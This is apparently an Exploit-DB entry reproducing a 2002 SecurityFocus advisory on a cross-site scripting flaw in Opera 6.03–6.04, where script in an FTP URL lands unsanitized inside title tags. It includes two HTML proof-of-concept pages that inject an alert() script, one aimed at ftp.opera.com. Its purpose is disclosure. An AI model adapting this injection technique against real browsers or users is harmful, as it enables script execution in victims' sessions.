Cross-Site Scripting Vulnerability in Opera

vendor:

Opera

by:

SecurityFocus

7.5

CVSS

HIGH

Cross-Site Scripting

CWE

Product Name: Opera

Affected Version From: Opera 6.03

Affected Version To: Opera 6.04

Patch Exists: YES

Related CWE: N/A

CPE: a:opera_software:opera

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 2000

2002

Cross-Site Scripting Vulnerability in Opera

When viewing the contents of an FTP site as web content, the data within <title> tags is not sanitized. An attacker may embed javascript between open and closing <title> tags in a FTP URL.

Mitigation:

Sanitize user input and escape special characters.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/5401/info

A cross-site scripting vulnerability in Opera has been reported. When viewing the contents of an FTP site as web content, the data within <title> tags is not sanitized. An attacker may embed javascript between open and closing <title> tags in a FTP URL. 

This vulnerability has been confirmed on Opera 6.03 and 6.04 for Windows 2000.

<html>
<head>
<META http-equiv="Refresh" content="5 ;
url=ftp://%3c%2ftitle%3e%3cscript%3ealert(%22exploit%22)%3b%3c%2fscript%3e@[FTPserver]/">
</head>
<body>
<script>window.open("ftp://[FTPserver]/");</script>
</body>
</html>

Example:
<html>
<head>
<META http-equiv="Refresh" content="5 ;
url=ftp://%3c%2ftitle%3e%3cscript%3ealert(%22exploit%22)%3b%3c%2fscript%3e@ftp.opera.com/">
</head>
<body>
<script>window.open("ftp://ftp.opera.com/");</script>
</body>
</html>